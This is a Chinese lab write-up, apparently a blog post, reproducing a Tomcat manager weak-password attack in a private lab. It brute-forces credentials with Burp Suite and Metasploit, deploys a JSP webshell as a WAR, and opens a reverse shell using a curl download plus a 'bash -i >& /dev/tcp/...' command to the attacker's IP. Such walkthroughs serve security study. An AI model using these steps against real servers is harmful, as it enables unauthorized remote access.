Tomcat弱口令复现及利用


Posted in Servers onMay 06, 2022

漏洞描述

Tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf\tomcat-users.xml文件中配置,不少管理员为了方便,经常采用弱口令。Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat7+ 权限分为:
manager(后台管理)

manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限,和status权限
manager-jmx 拥有jmx权限,和status权限
host-manager(虚拟主机管理)

admin-gui 拥有html页面权限
admin-script 拥有text接口权限
二、漏洞影响
Tomcat <= 6.0.0 默认用户名为admin,密码为空,无暴力破解限制。
Tomcat >= 6.0.0 无默认用户,五次失败后,账户即被锁定。
但是正常安装的情况下,tomcat8 中默认没有任何用户,且 Manager 页面只允许本地 IP 访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

复现

环境

一台攻击机(kali-2021)192.168.141.190
受害机(vulhub搭建的)192.168.141.194
一台用来下载反弹shell脚本的服务器(内网,如果有服务器更好)192.168.141.128(利用时让受害主机下载shell文件实现反弹shell)

攻击流程

按照前人经验可以使用burpsuite进行爆破或者使用msf进行爆破
首先是根据burpsuite进行爆破:
抓取请求数据包可以看到

Tomcat弱口令复现及利用

=其中没有看到熟悉的账号密码,但是其中’Authorization: Basic dG9tY2F0OnRvbWNhdA=='将其中的base64字符串解密可以看到结果格式为"tomcat:tomcat"所以将请求包送至爆破模块,构造格式为x:x的payload

Tomcat弱口令复现及利用

Tomcat弱口令复现及利用

Tomcat弱口令复现及利用

Tomcat弱口令复现及利用

结果中的200即为成功,但是前面说明了tomcat8或有防爆破机制,当一个用户名登录超过五次就会锁定账户,网上有说要用"tomcat暴破图形化—绕过tomcat 6/7/8的防暴破机制"这个脚本来绕过但是作者没有找到免费的,就不测试了.
其次使用过msf进行爆破

Tomcat弱口令复现及利用

msf中找到上面的模块配置出options的rhosts和rport就可以进行爆破(run)了

Tomcat弱口令复现及利用

可以看到用户名和密码在都是tomcat的时候爆破成功,而且可以看到msf应该是自带了绕过防爆破脚本,而且可以通过自定义user和password文件进行测试,所以作者更推荐使用msf爆破方式

利用

msf利用

这里强调一下,在作者复现网上说的使用exploit/multi/http/tomcat_mgr_deploy但是在配置好rhoss和rport进行run的时候出现无法拿到shell问题

Tomcat弱口令复现及利用

所以作者使用了exploit/multi/http/tomcat_mgr_upload进行利用配置同deploy,配置httpusername,httppassword,rhosts.rport 然后运行拿到shell

Tomcat弱口令复现及利用

反弹shell利用

整体思路:首先在网页端登录进管理后台上传jsp后门文件,然后访问这个jsp后门即可,虽然上传之后就可以通过shell软件控制,但是为了复习反弹shell的过程,作者将进一步通过上传的jsp一句话木马(也可以上传大马)进行反弹shell.

首先将一句话shelloneword.jsp(一句话木马文件)通过命令,jar cvf shelloneword.war shelloneword.jsp 执行成功后在管理后台找到如下然后上传

Tomcat弱口令复现及利用

Tomcat弱口令复现及利用

成功之后可以在这看到结果

之后通过各种软件访问http://192.168.141.194:8080/shelloneword/shelloneword.jsp?i= xxxx就行了

但是作者的方式是通过让受害主机访问服务器主机下载shell文件,进行反弹shell,所以前面只是中间过程,首先让受害主机执行i=curl -o /shell.sh http://192.168.141.128/shell.txt 其中shell.txt文件内容为

bash -i >& /dev/tcp/192.168.141.190/7777 0>&1

将ip和端口改为自己的,然后打开nc 监听7777端口,访问http://192.168.141.194:8080/shelloneword/shelloneword.jsp?i=bash /shell.sh

Tomcat弱口令复现及利用

反弹shell成功

参考文章

[1] https://blog.csdn.net/qq_33020901/article/details/98357659
[2] https://blog.csdn.net/weixin_44037296/article/details/116376114
[3] https://blog.csdn.net/qq_43665434/article/details/116903953
[4] https://www.cnblogs.com/henry666/p/14379888.html
[5]https://www.cnblogs.com/qianxinggz/p/13440366.html
[6]https://blog.csdn.net/weixin_42432317/article/details/90208213

到此这篇关于Tomcat弱口令复现及利用的文章就介绍到这了!


Tags in this post...

Servers 相关文章推荐
Nginx同一个域名配置多个项目的实现方法
Mar 31 Servers
Nginx代理同域名前后端分离项目的完整步骤
Mar 31 Servers
解析在浏览器地址栏输入一个URL后发生了什么
Jun 21 Servers
Nginx 反向代理解决跨域问题多种情况分析
Jan 18 Servers
Minikube搭建Kubernetes集群
Mar 31 Servers
tomcat正常启动但网页却无法访问的几种解决方法
May 06 Servers
Nginx开源可视化配置工具NginxConfig使用教程
Jun 21 Servers
win server2012 r2服务器共享文件夹如何设置
Jun 21 Servers
解决Git推送错误non-fast-forward的方法
Jun 25 Servers
Linux中sftp常用命令整理
Jun 28 Servers
Windows7下FTP搭建图文教程
Aug 05 Servers
windows server2012 R2下安装PaddleOCR服务的的详细步骤
Sep 23 Servers
Vscode中SSH插件如何远程连接Linux
nginx配置限速限流基于内置模块
May 02 #Servers
Nginx配置之禁止指定IP访问
centos7安装mysql5.7经验记录
May 02 #Servers
使用 Docker Compose 构建复杂的多容器App
Apr 30 #Servers
搭建Yolov5服务器
KVM基础命令详解
Apr 30 #Servers
You might like
php 实现进制转换(二进制、八进制、十六进制)互相转换实现代码
2010/10/22 PHP
php发送post请求的三种方法
2014/02/11 PHP
php中array_slice和array_splice函数解析
2016/10/18 PHP
利用PHP_XLSXWriter代替PHPExcel的方法示例
2017/07/16 PHP
php使用redis的几种常见操作方式和用法示例
2020/02/20 PHP
Dom加载让图片加载完再执行的脚本代码
2008/05/15 Javascript
jQuery示例收集
2010/11/05 Javascript
Google AJAX 搜索 API实现代码
2010/11/17 Javascript
使用PHP+JQuery+Ajax分页的实现
2013/04/23 Javascript
jQuery中读取json文件示例代码
2013/05/10 Javascript
JavaScript版TAB选项卡效果实例
2013/08/16 Javascript
在JavaScript中使用JSON数据
2016/02/15 Javascript
javascript 中设置window.location.href跳转无效问题解决办法
2017/02/09 Javascript
JavaScript实现简单精致的图片左右无缝滚动效果
2017/03/16 Javascript
vue数据传递--我有特殊的实现技巧
2018/03/20 Javascript
Node.js 使用axios读写influxDB的方法示例
2018/10/26 Javascript
浅谈Vue 性能优化之深挖数组
2018/12/11 Javascript
Makefile/cmake/node-gyp中区分判断不同平台的方法
2018/12/18 Javascript
vant组件中 dialog的确认按钮的回调事件操作
2020/11/04 Javascript
Vue中computed和watch有哪些区别
2020/12/19 Vue.js
[01:46]TI4西雅图DOTA2前线报道 中国选手抱团调时差
2014/07/08 DOTA
[40:03]DOTA2上海特级锦标赛主赛事日 - 1 败者组第一轮#1EHOME VS Archon
2016/03/02 DOTA
python操作xml文件详细介绍
2014/06/09 Python
python多进程提取处理大量文本的关键词方法
2018/06/05 Python
Python pandas自定义函数的使用方法示例
2019/11/20 Python
Python读取excel文件中带公式的值的实现
2020/04/17 Python
基于DOM+CSS3实现OrgChart组织结构图插件
2016/03/02 HTML / CSS
CSS3 实现穿梭星空动画
2020/11/13 HTML / CSS
如何让Java程序执行效率更高
2014/06/25 面试题
经典公益广告词
2014/03/13 职场文书
建筑安全员岗位职责
2014/03/13 职场文书
公司财务会计主管应聘求职信
2014/09/26 职场文书
房屋租赁协议书
2014/10/18 职场文书
Python OpenCV 图像平移的实现示例
2021/06/04 Python
微软Win11 全新照片应用面向 Dev预览版推出 新版本上手体验图集
2022/09/23 数码科技
Python 第三方库 openpyxl 的安装过程
2022/12/24 Python